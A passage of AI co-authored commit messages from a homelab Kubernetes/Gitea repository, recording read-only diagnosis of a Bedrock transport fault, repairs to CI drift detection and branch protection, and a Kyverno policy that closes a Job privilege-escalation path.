still compiled in (RakNetConnector, createUniqueRakPeer, RakNetSocket2.cpp).
"Only supported transport type" is a support statement, not a capability one.
Also explains why nethernet could never have worked here: it signals over TCP on
server-port, and this repo exposes no TCP 19132 -- crafty-l4-tcp is 25565-25567
and crafty-allow-ingress allows 19132 UDP only. packet-statistics.txt for that
run: Total Received: 0, 0B over 2293s.
Decision: keep transport=raknet, NO manifest change. The 19132-19134/UDP
exposure is correct and live, not inert. Geyser+Floodgate documented as the
reserve migration if RakNet is ever really removed (also zero manifest change).
Other corrections: the "too few fields" warning is the success signature, not a
failure; enable-lan-visibility upgraded to OBSERVED (19133 answers with the same
server_guid, so slot 1 is NOT free -- previous text said it was unreachable);
Game VIP corrected from 192.168.1.55 (the base/dev value) to the live prod
192.168.2.22; noted transport=raknet is PVC state that silently regresses to
nethernet on a server recreate. K3s-Bedrock auto_start=0/crash_detection=0
re-confirmed from crafty.sqlite and still outstanding.
Read-only throughout: no kubectl mutation, no flux reconcile, no write inside
the container. server.properties was read, never touched.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Reported as "users cannot connect to Bedrock on UDP 19132". Measured read-only
on prod; the platform delivered the packets and the server never opened the
socket.
Server `K3s-Bedrock` (c5837301-..., type=minecraft-bedrock, server_port=19132)
exists and `./bedrock_server` is alive, but /proc/net/udp and /proc/net/udp6 in
the crafty container hold NO socket on 19132 (0x4ABC) in either family -- port
19132 is bound as TCP (/proc/net/tcp6 ...:4ABC state 0A). Cause, from the
server's own server.properties: transport=nethernet, the value Microsoft's BDS
archive ships. Its inline docs: `Allowed values: "raknet" or "nethernet"`, and
against server-portv6, `This property is ignored when transport=nethernet`. NetherNet is the
WebRTC/Xbox-signalled transport and opens no RakNet UDP listener. Crafty does
not manage the property (no `transport` anywhere under /crafty/app/classes/) and
its only Bedrock probe is raknet_ping.py, hence commander.log spamming
"Got timeout while issuing bedrock ping to 127.0.0.1:19132" -- over loopback,
which indicts the server, not the network.
The path below it is sound and was measured as such: crafty-l4-udp live as
externalTrafficPolicy: Cluster with the VIP in status.loadBalancer, a non-empty
EndpointSlice, `cilium-dbg service list` showing 192.168.2.22:19132/UDP =>
10.0.0.130:19132/UDP (active) on BOTH announcing nodes, the datapath policy map
carrying `Allow Ingress reserved:world 19132/UDP` with 26 packets / 27660 bytes
already counted through it, pihole answering crafty-mc -> 192.168.2.22, and Flux
at main@sha1:20ea70d == the GitRepository artifact.
So this is not a platform or manifest defect. No manifest is touched: adding
ports or widening policy for this would be manufacturing work. The repo-side
defect is documentation -- the README told the operator that creating a server
on 19132 was sufficient.
README: add "Bedrock on UDP 19132 -- the transport trap" (the measurement chain,
and the raknet_ping warning as its signature) and "Bedrock realities that are NOT
platform defects" (no LAN/Friends discovery behind a VIP, consoles cannot enter
an address, enable-lan-visibility collides with slots 1-2, server-portv6 is not
exposed). Correct three stale claims: "the operator has not created any servers
yet" (two exist), the human test implying a started Bedrock server is reachable,
and the single-server Runtime state section (now a two-row table recording
K3s-Bedrock's auto_start=0 / crash_detection=0 -- the create-API trap, live
again, so it will not survive a pod restart).
Also measured, reported, and deliberately NOT changed: the shared VIP's two
leases sit on different nodes (crafty-l4-tcp on k3s-prod-3, crafty-l4-udp on
k3s-prod-1), so two nodes ARP-announce 192.168.2.22. Benign under `Cluster` --
both nodes carry the full active frontend set -- and the existing L0 check
l2-announced-vips-serve-from-any-node already forbids the `Local` that would make
it fatal. A "shared VIPs must co-locate" check would assert runtime lease
placement a static check cannot see.
Read-only throughout: no apply/edit/patch, no flux reconcile, no write inside
the container. Operator actions (set transport=raknet and verify the UDP bind;
PATCH auto_start; tell players to Add Server by hand) are in the DECISIONS-LOG
entry, along with what is UNVERIFIED -- chiefly that `raknet` fixes it is
reasoned from the shipped docs, not observed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
ci/gitea-settings.sh told the reader to "create a Gitea repo secret
GITEA_SETTINGS_TOKEN". That instruction is IMPOSSIBLE to follow: Gitea reserves the
GITEA_ prefix for secret names and rejects the PUT with HTTP 400 "invalid secret name".
Same defect as the one fixed in PR #15 and in the README in PR #19 -- this was the third
file carrying it, found by an agent reading the file rather than trusting my description
of it. A comment that instructs an impossible action is not cosmetic: this exact wrong
name is why the drift detector sat inert while a token existed and no secret did.
Now names SETTINGS_API_TOKEN, and states explicitly that GITEA_SETTINGS_TOKEN remains
honoured ONLY as a local-run env var -- it can never be the CI wiring, because the secret
that would feed it cannot exist.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Implements the operator intent: "CI/CD pipeline is the end-all-be-all for approval. If
the CI pipeline is not good enough to be trusted for this, then it is not good enough to
do its intended job and needs to be improved. Manual approvers should only be for
architecturally or security relevant changes."
Adds ci/approval-policy.sh as a gate stage. A green gate becomes sufficient for an
ordinary change; the one exception is structural rather than a matter of taste:
A CHANGE TO THE GATE CANNOT BE GATED BY THE GATE.
A PR that weakens a check would be approved by the weakened check. The same holds for the
admission policies, the Flux wiring that decides what reconciles, the SOPS recipients and
the RBAC. Those paths -- and only those -- still require an APPROVED review from someone
other than the author.
The list is data with a reason per entry (infra/gitea/approval-policy.json) and is itself
a sensitive path, so the policy cannot be widened or narrowed without a human.
FAIL-CLOSED, and deliberately the opposite of gitea-settings. There, a missing credential
must not block every PR -- that is a lock-out. Here, a missing credential would let an
unreviewed change to the gate merge, so "cannot evaluate" is a BLOCK.
Verified against real PRs rather than fixtures:
PR #16 (sensitive paths, approved by jakman85, author gitea-admin) -> PASS
PR #6 (.gitea/workflows/gate.yml, ZERO reviews) -> BLOCK, naming the file
push event (not a PR) -> N/A, exit 0
bogus token -> BLOCK, not skip
Also caught before shipping: the first draft passed the PR file list with a second stdin
redirect after a heredoc, which silently wins and leaves the script body unread. Running
it found that; reading it would not have.
required_approvals is NOT changed here. Flipping it live must happen together with the
declaration in expected-branch-protection.json, or gitea-settings correctly fails on the
drift -- that is a separate, deliberate change.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/
kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as
reference; THIS file is the buildable render root" -- and that render root
(platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease,
noting that ClusterPolicies are applied a tier later, by platform-config, because they
need the Kyverno CRDs first.
So three lists exist and only platform-config/kustomization.yaml applies anything. The
policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test
exercised it by path and passed, the merge gate passed, and Flux reported `platform`
Ready at the new revision. Measured on prod afterwards:
kubectl get clusterpolicy conformance-trigger-job-shape
Error from server (NotFound)
while ns conformance, the conformance-trigger ServiceAccount, its Role and its
RoleBinding were all live. That is exactly the state that identity's own RBAC header
says must never exist -- the trigger identity present with nothing bounding it. Blast
radius was small only because no trigger kubeconfig exists yet, which is luck, not design.
Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to
8 and contains conformance-trigger-job-shape).
CLOSES THE CLASS, which matters more than the instance. Adds the L0 check
admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is
either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a
reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in
either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no
requirement the diff attributes, so a path-scoped run would have skipped it on the exact
commit that introduced the defect.
Proven both ways, not assumed:
with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied
with the fix -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason
`kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Records two findings from the unattended session.
The drift detector was INERT: set-ci-token.sh stored the secret under a name Gitea
reserves (GITEA_ prefix, HTTP 400 "invalid secret name"), sent the PUT to /dev/null,
and printed success anyway. A token existed; no secret did. Enabling
REQUIRE_GITEA_SETTINGS on top of that would have blocked every PR including its own
fix. PR #15 fixes it and its CI is green WITH require active, which is the only
proof that counts.
And: merging as gitea-admin returns HTTP 405 "Does not have enough approvals".
required_approvals:1 + block_admin_merge_override:true + an author who cannot
self-approve means "merge on green CI" is not executable by an agent. Recorded as
the control working rather than a fault, and deliberately not circumvented --
self-approval would hollow out the boundary just built. The choice of what to do
about it is the operator s, and whatever is chosen must also change the declaration
in expected-branch-protection.json or the detector will correctly fail on the drift.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The drift detector merged in #11 was inert and would have stayed inert silently.
WHAT HAPPENED. infra/gitea/set-ci-token.sh minted a token and PUT it to the repo Actions
secret GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for secret names -- exactly
as GitHub reserves `GITHUB_` -- and rejects that PUT with:
HTTP 400 {"message":"invalid secret name"}
The script sent the PUT to /dev/null and printed "==> stored." unconditionally, and
`curl -sS` exits 0 on an HTTP error, so it reported success for a store that never happened.
Measured afterwards: the token existed in the user's token list, and the repo's secret list
was EMPTY. ci/gitea-settings.sh would have skipped on every CI run forever, and with
REQUIRE_GITEA_SETTINGS=true it would instead have BLOCKED EVERY PR -- including the one
fixing it.
Three changes:
* the secret is SETTINGS_API_TOKEN; ci/gitea-settings.sh reads it, keeping
GITEA_SETTINGS_TOKEN as a local-run fallback;
* set-ci-token.sh checks the PUT's HTTP status AND reads the secret back, refusing to claim
success otherwise. That missing verification is the actual defect -- the wrong name was
just what it hid;
* gate.yml maps the secret and ENABLES REQUIRE_GITEA_SETTINGS.
WHY ENABLING IT HERE IS SAFE: this PR's own CI run is the proof. If the stage were still
skipping, REQUIRE turns that into a failure and this PR goes RED rather than merging. Green
means the token resolved and live Gitea matched infra/gitea/expected-branch-protection.json.
Verified locally before pushing:
REQUIRE=true, token present -> MERGE GATE: PASS
REQUIRE=true, no token -> gitea-settings SKIPPED -> BLOCKED (not a silent skip)
The secret is already stored and read back as present, so CI has what it needs.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Written for a different session on a different computer. Lists the three open gated
PRs with their risk, the one command that must follow #11 (the drift detector skips
until its token exists, and a skipped detector detects nothing), and the three
credentials that are deliberately NOT in git and without which the toolbox and
cluster are unreachable: the age private key, prod.kubeconfig, and a Gitea
credential.
Records the measured platform state while telling the reader to re-measure it rather
than trust this log -- which is the whole point of CLAUDE.md section 2b, and which
this log earned by being confidently wrong for a month.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.
MEASURED, before the guard:
CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
"[junit] wrote skipped JUnit for 54 scaffolded test(s)"
"[ ok ] L2/L3 conformance passed for touched subset"
run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.
The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).
The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.
The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Every check in this repo reads the repository, the rendered manifests, or the cluster.
NONE could see Gitea's own database, and that is where branch protection and runner
registration live. Three failures came out of that blind spot on 2026-09-29, all the same
shape -- a setting that READ as enforced while not being, with nothing able to notice:
* main had NO branch protection for ~a month while DECISIONS-LOG recorded it as a
required status check;
* ZERO Actions runners were registered, so PR #1 -- the first PR this repo ever had --
sat pending for 30.6 minutes with nothing to execute it;
* after enable_status_check and required_approvals were turned on they STILL did not
bite, because block_admin_merge_override was false: PRs #5-#9 merged with zero
approvals recorded against required_approvals: 1.
infra/gitea/*.sh ASSERT the desired state. Nothing DETECTED drift from it. This is the
detector.
ci/gitea-settings.sh runs as a merge-gate stage: it diffs the live rule at
/branch_protections/main against infra/gitea/expected-branch-protection.json and asserts at
least one runner is online. It reads the RULE object, not /branches/main -- the branch view
does not expose block_admin_merge_override and showed all-green while the rule was
overridable by the only account that merges.
Verified by test, not assumed:
no token -> exit 3, skips loudly, does NOT block
live == declaration -> exit 0
injected drift -> exit 1, blocks, naming both the drifted key and the runner count
The skip is DELIBERATELY not in gate.sh's strict-skips loop. Making an absent credential
block every PR is precisely the lock-yourself-out failure this repo keeps walking into, so
a skip denies a PASS (exit 3) and says loudly what is unverified. REQUIRE_GITEA_SETTINGS=true
upgrades it to a block once the token is wired.
gate.yml's `|| [ "$?" -eq 3 ]` tolerance now covers a second stage. That widening is
declared in the file rather than left to be discovered, and it narrows back the moment
REQUIRE_GITEA_SETTINGS is set.
infra/gitea/set-ci-token.sh mints the token and stores it as the repo Actions secret without
ever printing the value.
UNTIL THAT TOKEN EXISTS THIS STAGE SKIPS, AND A SKIPPED DETECTOR DETECTS NOTHING.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
enable_status_check and required_approvals were set earlier today and recorded as done.
They did not bite. block_admin_merge_override was false, and Gitea lets repo admins
override merge requirements without it. jakman85 holds owner, so both requirements were
bypassable by exactly the account that performs every merge.
The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1
was in force, with ZERO approvals recorded on any of them.
Two process failures, both the same shape as the defect this whole session started with:
1. Verified with the wrong view. /branches/main reports protected, enable_status_check and
required_approvals but NOT block_admin_merge_override -- it showed everything green while
the rule was overridable. /branch_protections/main is authoritative.
2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`;
asking jq for it returns null, which reads like "set to false" but means "key absent", so
a PATCH that silently did nothing produced a convincing before/after. jq returning null
is not a value -- it may be an absence. Enumerate with to_entries.
require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it
in isolation. Both carry the field-name warning.
This PR is the test. If it merges WITHOUT an approval, the fix did not work.
Also records the governance question: with only jakman85 (human) and gitea-admin (agent),
a human-authored PR now needs the automation account to approve it. That is ceremony, not
review, and the choice between keeping it, dropping approvals in favour of the status
check, or adding a second human is the operator's to make.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The branch-protection + PR-gate + sidecar sequence is complete and verified. This records
the finished state and fixes what the sequence itself proved wrong.
CORRECTS A FALSE CLAIM I SHIPPED. PR #7 said the sidecar conversion would remove the
one-per-start dockerd line "http: TLS handshake error from 127.0.0.1: EOF". It does NOT.
Exactly one still appears, immediately after "API listen on [::]:2376" -- it is now the
startupProbe's FIRST attempt, landing microseconds after dockerd begins listening and cut
off by timeoutSeconds: 1; the next poll succeeds. Cosmetic, and deliberately not chased:
raising the timeout to hide one benign startup line would slow every subsequent poll. The
manifest comment now states this instead of the wrong prediction.
Lands infra/gitea/require-gate.sh and verify-then-enforce.sh, which drove the rollout from
a session temp dir. verify-then-enforce.sh merges nothing -- merging is a human's reviewed
act -- but forces the reconcile and ABORTS unless the pod is healthy, a runner is online,
and a real workflow goes green on it, before enabling enforcement and probing the push.
Re-run it after any future act-runner change.
Trims the now-obsolete feat/ rationale from claim-ship.sh: per-branch push triggers were
deleted, so no prefix produces a duplicate run any more.
CLAUDE.md's enforcement table flips from "weaker than this rule" to machine-enforced, with
all four rows marked verified and the push rejection noted as PROVOKED rather than assumed.
It also now states what a green PR does NOT prove: CLUSTER_AVAILABLE is unset, so L2/L3
never runs in CI and only the L0/L1 offline subset is covered.
infra/gitea/README.md marks the sequence done and names the root cause that remains
unfixed: Gitea repo settings live in its own database, invisible to Flux and unreadable by
the conformance gate, so NOTHING detects drift from what this directory declares. These
scripts assert desired state; they are not a detector. The check that reads the live API
and fails on divergence is the highest-value work left, and it is the difference between
this being fixed and this being unable to recur.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The 2026-09-29 session found the merge gate did not exist -- no branch protection, no
runner -- while the tree asserted both. This corrects the documents that carried, and in
several cases CAUSED, that belief.
CLAUDE.md gains section 2b: never infer platform state from this repository. It carries
the specific API and kubectl checks for protection, runners, CI status, workloads and
Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea
job reports success). This is the rule whose absence produced every other finding.
.gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host,
this file is dormant". Gitea had been live for weeks. Both were written as plans and never
revisited once the plan completed. The Transition section is now marked COMPLETE and says
what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI).
DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously
hit "required status check; runner incluster-dind online" with nothing marking it false
until a month later. The correction now sits on the bullet itself.
ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they
speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an
expected phase. That framing is why the gap went unexamined.
apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to
`sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded
that a fresh token alone does not re-register a runner holding a stale /data/.runner.
apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder.
It has not since the claim -- it holds the spent token, which is inert and deliberately
left in place.
catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was
uncited, upstream documents no expiry, and it was the basis for a since-disproven claim
that the pipeline was too slow to fit inside it. Measured: ~2m45s.
Both .sops.yaml files were verified to still decrypt after the comment edits
(`sops -d > /dev/null`), and render==golden confirms the catalog comment does not
propagate into the rendered manifest.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
A systematic grep for the TTL assertion found it still in runbooks/README.md and in
runbooks/kustomization.yaml, outside the page being rewritten. Same correction: the
countdown on plex.tv/claim is the authority, not a number in our tree.
README.md also now records that the server is CLAIMED and points at claim-ship.sh with
the measured ~2m45s loop, rather than describing a push-based sequence that no longer
exists.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Executes the FOLLOW-UP that has been carried in this manifest since the readiness fix,
now that k3s is v1.36 and sidecar containers are GA.
dind moves into initContainers as the first entry with restartPolicy: Always -- the one
field that makes an initContainer a sidecar: it starts before the regular containers,
runs alongside them, and is terminated after them. kubelet therefore enforces the
ordering that the runner used to hand-roll, so the runner drops its command: override
and runs the image's own entrypoint.
The startupProbe execs a full TLS-verified `docker ... info`, NOT a tcpSocket probe. A
tcpSocket probe would re-open the exact gap the old Stage 1 existed to close: dockerd
writes the TLS certs and only THEN starts listening, so the port can accept a connection
while the certs are absent, and act_runner hard-exits on a missing
/certs/client/ca.pem. `docker info` proves both that the certs are usable and that the
daemon answers. periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
It also removes the one-per-start dockerd log line
http: TLS handshake error from 127.0.0.1: EOF
which was the old `nc -z` probe opening a TCP connection and closing it without a TLS
handshake -- an error we were generating ourselves and then reading in the logs.
SECONDARY WIN: deleting the shell deletes an envsubst hazard. apps-wave-1 runs postBuild
substitution over this ENTIRE manifest, comments included, and those loops depended on
bare dollar-names passing through untouched -- a braced or double-dollar spelling would
have silently unbounded the waits or failed the whole Kustomization. The only dollar left
in the file is the intended ${BASE_DOMAIN}.
LANDS ALONE, DELIBERATELY. This Deployment is the merge gate for the entire repository:
if the conversion is wrong, nothing can merge. Merge this BEFORE enabling the required
status check, and watch a real workflow run green on the converted pod before doing so --
otherwise a bad conversion locks the repo with no way to revert through the gate.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The tracked next-step said "align gate.yml's push trigger with this repo's feat/**
prefix". Doing that literally would have made things worse, so this does the opposite.
act_runner runs at capacity 1. A branch push and its PR fire the SAME gate over the SAME
tree, and the redundant run SERIALISES AHEAD of the PR run -- doubling the wall clock on
the one result that gates the merge. Adding another prefix widens that, it does not fix
it. infra/plex/claim-ship.sh currently has to pick a feat/ branch name specifically to
DODGE this, during a loop that is racing a short-lived token.
The prefix list also silently failed to match this repo's own convention: branches here
are feat/**, which was absent, so the "fast feedback" never fired for the most common
prefix. Nobody noticed for a month because the only symptom of a wrong entry is a MISSING
run. Any hand-maintained prefix list has that failure mode. Deleting the list removes the
whole class rather than correcting one entry.
It was redundant anyway: CLAUDE.md already requires ./ci/gate.sh in the pinned toolbox
before pushing (74s locally), and the PR gate re-runs it authoritatively.
push: [main] is KEPT -- post-merge main must still be verified, and it is the only run for
which no PR context exists.
FOLLOW-UP once this and #5 are both merged: the feat/ rationale in
infra/plex/claim-ship.sh becomes obsolete and its comment should be trimmed. The script
keeps working either way.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
main became a protected branch on 2026-09-29, so the direct push that 37 of 39 runbooks
instructed is REJECTED. The wording was merely stale before; it is now actively wrong,
and it is the line an operator reads mid-incident.
Every occurrence now describes the real path: push a branch, open a PR, merge once the
gate is green -- that merge is the deploy. 35 files shared one identical block;
flux-reconcile.md, README.md and plex-claim.md each said it their own way and were
corrected individually.
plex-claim.md is rewritten around the delivery loop and records that THE SERVER IS NOW
CLAIMED (PlexOnlineToken present in /config), so PLEX_CLAIM is a permanent no-op and the
page only applies after a /config wipe.
Adds infra/plex/claim-ship.sh, which drives branch -> commit -> push -> PR -> gate ->
merge -> reconcile -> pod roll -> verdict with a stopwatch. Three steps are easy to lose
under time pressure and two are SILENT when skipped: --with-source (without it the
Kustomization applies the previously-fetched revision), the mandatory rollout restart
(only the ciphertext changes, so the pod template is byte-identical and nothing restarts
itself), and the feat/ branch prefix (act_runner capacity is 1, and a prefix inside
gate.yml's push trigger fires a redundant run that serialises ahead of the PR run).
Drops the "~4-minute TTL" the page asserted in four places. It was uncited, and upstream
pms-docker documents no expiry at all. The countdown on plex.tv/claim is the authority.
Measured loop: ~2m45s.
DECISIONS-LOG carries the PM handoff: both halves of the 2026-08-31 CI claim were false,
the stale-.runner root cause, the four-deep Flux dependency cascade, and the correction
that a skipped Gitea job reports success rather than hanging.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The runner came up on 2026-09-29 and the first CI jobs this repo has ever run went
green, which falsified a claim merged in #2.
MEASURED:
gate / gate (pull_request) success 1m58s (PR 1), 1m34s (PR 2)
gate / gate (push) success 1m32s (PR 2 only)
gate / conformance (pull_request) success "Has been skipped"
#2 said listing the conformance context as a required check would deadlock every PR,
because the job is `if: false` and never runs. That is wrong. Gitea reports a skipped
job as SUCCESS. Requiring it would not deadlock anything -- it would pass VACUOUSLY,
forever, while nothing ran.
The conclusion is unchanged (never require it) but the reason inverts, and the corrected
reason matters more: under HARD RULE 4 a permanently-green check that verifies nothing is
worse than a deadlock. A deadlock is loud. This is the exact fail-open shape the
2026-09-18 audit and this one both keep finding.
Also records that the (push) contexts only appear for branches matching gate.yml's push
trigger -- feature/**, fix/**, docs/**, chore/** -- and NOT feat/**, which is why PR 1's
feat/ branch produced only pull_request contexts. Require the pull_request context alone,
or PRs from non-matching prefixes never satisfy the rule.
CLAUDE.md's enforcement table is updated: the runner half is genuinely fixed and observed
green, the branch-protection half is not. Adds the warning that a green tick is not by
itself evidence that anything ran.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
No runner is registered at repo, org or site level, so gate.yml has never executed.
PR #1 sat pending for 30.6 minutes across 122 polls and never reported. Requiring the
gate as a status check in that state would lock the repo permanently.
Adds runner-token-rotate.sh: mints a fresh instance-level registration token from the
Gitea API and writes it into the SOPS secret via sops set, without ever printing the
value.
Records the likely root cause, which a new token alone does NOT fix. act_runner
registers once and persists its identity in /data/.runner on the act-runner-data PVC.
If Gitea no longer holds a matching runner row, the pod starts, sees .runner, SKIPS
registration entirely, and polls with an identity Gitea does not recognise. Symptom:
zero runners, pod running, nothing obviously broken. Clearing the PVC is what forces a
genuine re-registration.
The README now sequences runner-first, enforcement-second, and requires CONFIRMING the
runner reports online rather than assuming it. That assumption is the whole defect:
DECISIONS-LOG recorded the runner as online on 2026-08-31 and nobody checked since.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Gitea repo settings live in its own database, not in a manifest Flux reconciles, so
they are drift-prone and invisible to the conformance gate -- which is how main came
to accept direct pushes while the log recorded it as protected.
Adds infra/gitea/branch-protection.sh (blocks direct pushes to main) and a README
carrying the measured before-state and the ORDER the remaining steps must happen in.
The script deliberately leaves enable_status_check:false and required_approvals:0.
Both would deadlock today: there is no runner to satisfy a required context, and the
only human account is not yet a repo collaborator, so no one could supply an approval.
The README sequences both.
It prints a push probe to run afterwards. The API response is not proof -- Gitea may
let site admins bypass protection, and that has to be observed, not assumed.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Going to land the plex claim wiring through the documented PR flow surfaced that
the flow has never run. PR #1 is the first pull request this repo has ever had.
Verified against the live Gitea, not inferred from the docs:
* branch_protections is [] -- main is protected:false, enable_status_check:false,
status_check_contexts:[], required_approvals:0, user_can_push:true
* ZERO Actions runners registered at repo, org and site level
DECISIONS-LOG 2026-08-31 asserts a "required status check" and a runner
"incluster-dind online". Both are false of the live system. The gate is neither
enforced nor able to run, and that went unnoticed because the log claimed
otherwise -- the same fail-open class as the two holes found on 2026-09-18.
Adds CLAUDE.md, the first agent-facing delivery doc here: the
branch -> PR -> gate -> approval -> merge rule, stated alongside the honest fact
that enforcement is currently weaker than the rule, so agents follow the rule
rather than what they can get away with. Carries the toolbox gate invocation, the
two git-worktree workarounds, the rc 0/1/3 contract, and secret handling.
Records the ordering trap: enabling a required status check before a runner exists
deadlocks every PR permanently, including the one that would fix it.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Plex cannot create libraries over the already-mounted 8.33T NFS bulk share while
the server is UNCLAIMED. catalog/plex.yaml carried a long argument for leaving
PLEX_CLAIM unwired; the operator has decided to override it. This implements the
wiring in the way that respects the half of that argument which is still true.
WHAT WAS TRUE AND STILL IS: a https://plex.tv/claim token has a ~4-minute TTL,
far shorter than commit -> push -> Flux reconcile -> pod-roll on its own timers.
So the committed value is a documented PLACEHOLDER and the live token is injected
by the operator inside that window, with the reconcile FORCED rather than waited
for. runbooks/plex-claim.md is that timed procedure.
WHAT WAS NOT TRUE: the old comment claimed "a placeholder/absent claim Secret
would crashloop the pod". Half of that is wrong, and the difference is the whole
design. Established from plexinc/pms-docker's own first-run script (branch
`master`, root/etc/cont-init.d/40-plex-first-run, s6-overlay v2), cross-checked
byte-identical against the same file inside the running :latest image:
* the claim exchange (line 106) is gated on PLEX_CLAIM being non-empty AND the
PlexOnlineToken pref in /config being empty. Once the server is claimed the
